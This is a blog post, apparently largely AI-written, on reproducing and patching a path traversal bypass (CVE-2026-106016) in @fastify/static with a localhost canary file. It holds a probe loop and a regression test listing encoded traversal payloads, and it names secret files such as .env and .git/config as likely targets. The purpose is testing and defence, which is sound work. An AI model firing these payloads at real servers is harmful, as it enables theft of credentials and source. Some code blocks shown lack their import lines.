Reproducing the CVE-2026-106016 Path Traversal Bypass in @fastify/static

Reproducing the CVE-2026-106016 Path Traversal Bypass in @fastify/static

pr0h0•
fastifynodejssecuritypath-traversalcve
AI Usage (86%)

Introduction: what CVE-2026-106016 actually breaks

This post is a hands-on reproduction of CVE-2026-106016, a path traversal mitigation bypass in @fastify/static: you'll stand up a local Node.js app with a canary file outside the served root, probe it with raw traversal requests, then upgrade and re-run the identical probes to confirm the fix. The wording "mitigation bypass" matters. A missing check means nobody looked. A bypass means somebody wrote a guard, shipped it, teams upgraded because of it, and the guard still walks. If you already "fixed path traversal" in a Fastify app, this is worth re-checking — the control you're leaning on is the one in question.

My source here is secondary: a Rescana write-up that reached me through a news aggregator. It names the package, the bug class, and the CVE ID, and says a patched release exists. Version ranges and the exact vulnerable code path belong on the CVE record and the GitHub advisory, so I'm treating those as things to look up rather than facts to repeat.

What follows is a reproduction harness and a patch-and-verify loop. I'm not pasting a captured 200 response with a secret in it — I haven't run this against the pinned vulnerable tarball, and I won't invent output. The harness is the deliverable. The leak is yours to capture.

What the CVE-2026-106016 report claims — and what it does not

Confirmed by the source

  • Affected package: @fastify/static, the static file plugin for Fastify.
  • Bug class: path traversal mitigation bypass in file handling — a guard exists and can be circumvented.
  • A CVE record exists: CVE-2026-106016.
  • A patched release is available.

Those four points come from the source and the CVE identifier. Everything else here is either mechanism I describe generically or something you confirm against the primary advisory.

Open questions to resolve from the primary advisory

Before you pin anything, open the advisory and answer:

  1. Affected version range. Exact lower and upper bounds.
  2. The vulnerable option or function. root handling, prefix, the wildcard route, decorateReply, list, preCompressed, or the underlying sender the plugin delegates to?
  3. Payload shape. Does the bypass need percent-encoding, double-encoding, a backslash, a redundant segment, or a null byte?
  4. Fixed versions.
⚠️

If the advisory does not state a version range, say so. Do not guess a semver number to make the write-up feel complete — a made-up pin makes the reproduction unreproducible and wastes the reader's afternoon.

How @fastify/static maps a URL to a file on disk

The request-to-path pipeline inside the plugin

The general shape, for any version worth testing:

  1. The router matches a wildcard route under prefix (default /).
  2. The remaining path segment is extracted from the request URL and decoded.
  3. The decoded value is checked against an up-path guard — typically a regex that rejects any segment equal to .., e.g. /(?:^|[\\/])\.\.(?:[\\/]|$)/.
  4. The string is normalized and joined/resolved against root.
  5. A containment assertion checks the resolved absolute path still sits inside root.

Steps 3 and 5 are the guard. Step 2 is where the trouble lives.

📝

That's the shape of the check, not the exact source of your pinned tag. Read the guard at the version the advisory names before you trust any of it.

Where decode and normalize ordering creates a gap

The classic failure is validating one string and resolving a different one. If the guard sees %2e%2e%2f and the filesystem sees ../, the check passes and the read fails open. Same story if a value is validated before full decoding, before Unicode normalization, or before backslash folding on Windows. This appears to be the class behind CVE-2026-106016: a string that validates and a string that resolves diverge. Confirm it by reading the guard at the tag the advisory references, not by trusting my description.

Building a minimal vulnerable test app

Environment and reproduction conditions

A traversal claim without a pinned version and a runtime is not a result.

node -v                 # record this exactly
mkdir repro-fastify-static && cd repro-fastify-static
npm init -y
npm i fastify@5
npm i @fastify/static@<VULNERABLE_VERSION>   # lowest affected version from the advisory
npm ls @fastify/static

Substitute <VULNERABLE_VERSION> with the lowest affected version the advisory lists. No range in the advisory? Stop here — you can't pin what wasn't published.

Project layout

The canary must live outside the served root, and it must never be a real secret.

repro-fastify-static/
├── package.json
├── server.js
├── TEST-ONLY-CANARY.env      <- one level above root, fake by design
└── public/
    ├── index.html
    └── logo.svg
printf 'TEST-ONLY-CANARY\n' > TEST-ONLY-CANARY.env
printf '<h1>ok</h1>\n' > public/index.html
server.js
import path from "node:path";



const app = Fastify({ logger: false });

await app.register(fastifyStatic, {
root: path.join(import.meta.dirname, "public"),
prefix: "/",
wildcard: true,
list: false,          // no directory listing
});

app.get("/health", async () => ({ ok: true }));

await app.listen({ port: 3000, host: "127.0.0.1" });

Reproducing the path traversal bypass locally

Baseline request

Establish that normal serving works, then establish that the guard fires.

curl -sS -o /dev/null -w 'in-root: %{http_code}\n' http://127.0.0.1:3000/index.html

curl -sS --path-as-is -i http://127.0.0.1:3000/../TEST-ONLY-CANARY.env | head -n 3

The up-path guard's intended output is 403 Forbidden with a plain Forbidden body — that's what the underlying sender returns when its .. check matches.

Now drop --path-as-is:

curl -sS -o /dev/null -w 'no --path-as-is: %{http_code}\n' http://127.0.0.1:3000/../TEST-ONLY-CANARY.env

You get 404. curl collapses the dot segment before it hits the wire, so the server receives /TEST-ONLY-CANARY.env and correctly 404s. This is the single most common reason traversal tests lie to you. Any client that parses URLs per the WHATWG spec — Node's fetch included — normalizes the same way. Send the raw bytes.

The bypass request

Loop through the candidate encodings, because which one lands is exactly what the advisory tells you and I'm not going to assert it here:

probe-matrix.sh
BASE=http://127.0.0.1:3000
CANARY=TEST-ONLY-CANARY

for p in '%2e%2e%2fTEST-ONLY-CANARY.env' '..%2fTEST-ONLY-CANARY.env' '%2e%2e/TEST-ONLY-CANARY.env' '.%2e/TEST-ONLY-CANARY.env' '%252e%252e%252fTEST-ONLY-CANARY.env' '..%5cTEST-ONLY-CANARY.env' '....//TEST-ONLY-CANARY.env' ; do
code=$(curl -sS --path-as-is -o /tmp/body -w '%{http_code}' "$BASE/$p")
hit=$(grep -c "$CANARY" /tmp/body || true)
printf '%-38s status=%s canary=%s
' "$p" "$code" "$hit"
done

A line reading status=200 canary=1 is the confirmed impact. Anything else is noise.

Observed results table

Request (raw, as sent)ExpectedObserved statusCanary leaked
/index.html200, HTML200 — control, re-confirm on your pinno
/../TEST-ONLY-CANARY.env with --path-as-is403 from the up-path guard403 — intended guard outputno
/../TEST-ONLY-CANARY.env without --path-as-isnever reaches the server404no
bypass candidate from the loop aboveadvisory-dependentyour runyour run

Rows 1–3 are controls; their values are the guard's documented intent, not output I captured on your pinned version. The last row is the empirical step, and the only one that proves anything about CVE-2026-106016.

Root cause walkthrough — why the file was served

Trace the specific input through the guard

The string as received is encoded, e.g. %2e%2e%2fTEST-ONLY-CANARY.env. The guard compares its decoded form against the up-path regex. If the guard tests the raw segment or a partially decoded one, the regex sees no literal .. and doesn't reject. The later resolution step — path.resolve(root, pathname) — works on the fully decoded value, produces an absolute path outside root, and if the containment assertion also runs on the pre-decode string, nothing catches it. Two strings, one file.

To verify: open the sender's path-handling module in node_modules at your pinned version, find where the decode happens relative to the .. test, confirm the ordering. Name the file and line in your own notes; the advisory names the function. If the decode happens before the test and the test is a regex on the decoded value, the bug is elsewhere — a double-decode, a separator the regex misses, or a normalization mismatch.

Impact boundary

An attacker needs network reachability to the static route and a guessable filename — no auth, no write access. Realistic targets are predictable filenames sitting near the served root: .env, package-lock.json, source maps, .git/config, CI configs, keys checked into the repo root.

Whether it's exploitable in your deployment depends on what sits in front of Fastify. A reverse proxy that normalizes dot segments (nginx with default merge_slashes and URI normalization, most CDNs) may strip the payload before it reaches Node. That's a reason to reproduce against the app directly on localhost first, then retest through the proxy path.

Patching and verifying the fix

Upgrade path

npm i @fastify/static@<FIXED_VERSION>
npm ls @fastify/static --all      # catch nested/duplicate copies

npm audit is not verification. It depends on the advisory being ingested into the registry's database, on your lockfile being correct, and on no second copy hiding in a nested node_modules. The re-run below is verification.

Re-run the reproduction against the patched version

Run the identical probe matrix, unchanged.

## before: @fastify/static@<VULNERABLE_VERSION>
## %2e%2e%2fTEST-ONLY-CANARY.env   status=200 canary=1   <- leak
## after:  @fastify/static@<FIXED_VERSION>
## %2e%2e%2fTEST-ONLY-CANARY.env   status=404 canary=0   <- fixed

404 or 403 with an empty canary count is the fix. 200 with canary=1 means the patch didn't cover the vector you found, and it's worth opening an issue with the exact raw request line.

Hardening that survives the next bypass

Reduce the blast radius

Serve a directory that holds only static assets. No .env, no keys, no source maps, no lockfiles anywhere in the served tree — that control works regardless of plugin version or the next bypass. Keep list: false. Disable dotfile serving too: send and @fastify/static have historically exposed a dotfile handling option, and if your pinned version exposes it, set it to ignore; if it doesn't, physical separation is your fallback.

Add a regression test

The test must send raw paths — fetch will normalize .. and make the assertion pass for the wrong reason.

test/traversal.test.js
import http from "node:http";






const CANARY = "TEST-ONLY-CANARY";
let app, base;

function rawGet(base, rawPath) {
const { hostname, port } = new URL(base);
return new Promise((resolve, reject) => {
  const req = http.request({ hostname, port, method: "GET", path: rawPath }, (res) => {
    let body = "";
    res.setEncoding("utf8");
    res.on("data", (c) => (body += c));
    res.on("end", () => resolve({ status: res.statusCode, body }));
  });
  req.on("error", reject);
  req.end();
});
}

before(async () => {
app = Fastify();
await app.register(fastifyStatic, {
  root: path.join(import.meta.dirname, "..", "public"),
  prefix: "/",
  wildcard: true,
  list: false,
});
await app.listen({ port: 0, host: "127.0.0.1" });
base = `http://127.0.0.1:${app.server.address().port}`;
});

after(() => app.close());

const attempts = [
"/../TEST-ONLY-CANARY.env",
"/%2e%2e%2fTEST-ONLY-CANARY.env",
"/..%2fTEST-ONLY-CANARY.env",
"/.%2e/TEST-ONLY-CANARY.env",
"/%252e%252e%252fTEST-ONLY-CANARY.env",
];

for (const p of attempts) {
test(`rejects ${p}`, async () => {
  const res = await rawGet(base, p);
  assert.notEqual(res.status, 200, `${p} returned 200`);
  assert.ok(!res.body.includes(CANARY), `${p} leaked the canary`);
});
}

Where the check belongs

My position: URL validation inside a single plugin is a convenience, not a security boundary. allowedPath and similar filters run on the same parsed path and inherit the same decode-order assumption — that's defense in depth, not a boundary. The durable control is terminating static serving at a reverse proxy that normalizes URIs, or serving an explicit allowlist of asset paths, with Fastify handling application routes only. Anything less means your containment guarantee is re-derived from whichever plugin version you happen to have installed.

Conclusion

Confirmed: CVE-2026-106016 is a path traversal mitigation bypass in @fastify/static, a patched release exists, and the behavior is verifiable locally with a canary file and a raw request. The action that matters most is upgrading to the fixed version and re-running the identical probe matrix — not reading npm audit output and calling it done.

The honest caveat: read the affected range and the vulnerable mechanism from the CVE record and the advisory, not from this walkthrough. I described the shape of the guard because I can reason about that in general; I didn't assert a version number, a payload, or a captured response I couldn't verify.

Further Reading

Share this post

More posts

Comments